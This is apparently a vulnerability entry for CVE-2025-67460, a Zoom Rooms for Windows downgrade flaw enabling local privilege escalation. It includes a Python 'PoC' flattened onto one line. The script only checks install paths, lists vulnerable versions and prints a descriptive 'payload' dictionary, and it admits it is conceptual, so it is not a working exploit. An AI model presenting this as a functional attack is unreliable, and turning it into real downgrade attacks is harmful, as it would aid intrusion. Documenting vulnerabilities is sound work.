CVE-2025-67460: Zoom Rooms for Windows 软件降级保护机制失效导致本地权限提升漏洞

# CVE-2025-67460 PoC - Zoom Rooms Software Downgrade Protection Failure # This PoC demonstrates the software downgrade vulnerability in Zoom Rooms for Windows import os import struct import ctypes def exploit_zoom_rooms_downgrade(): """ Demonstrates software downgrade attack against Zoom Rooms for Windows Target: Zoom Rooms for Windows < 6.6.0 Attack: Exploit protection mechanism failure to trigger downgrade """ # Zoom Rooms executable paths zoom_paths = [ r"C:\Program Files\Zoom\Zoom Rooms\ZoomRoom.exe", r"C:\Program Files (x86)\Zoom\Zoom Rooms\ZoomRoom.exe" ] # Check if Zoom Rooms is installed zoom_installed = False for path in zoom_paths: if os.path.exists(path): zoom_installed = True print(f"[+] Found Zoom Rooms at: {path}") break if not zoom_installed: print("[-] Zoom Rooms not found on this system") return False # Vulnerable version check # The vulnerability allows downgrade to versions < 6.6.0 vulnerable_versions = [ "6.0.0", "6.1.0", "6.2.0", "6.3.0", "6.4.0", "6.5.0" ] print("[*] Exploitation requires:") print(" 1. Local access to the target system") print(" 2. Ability to manipulate Zoom Rooms update mechanism") print(" 3. Crafted downgrade package targeting vulnerable version") # Attack vector: Software downgrade protection failure # Attacker crafts malicious update package to force downgrade attack_payload = { "target_version": "6.0.0", # Vulnerable version "exploit_type": "downgrade_attack", "privilege_required": "low", "impact": "privilege_escalation" } print(f"[+] Attack payload prepared: {attack_payload}") print("[*] Note: This is a conceptual PoC for CVE-2025-67460") print("[*] Actual exploitation requires further technical analysis") return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-67460 PoC - Zoom Rooms Downgrade Attack") print("CVSS: 7.8 (HIGH) - Local Privilege Escalation") print("=" * 60) exploit_zoom_rooms_downgrade()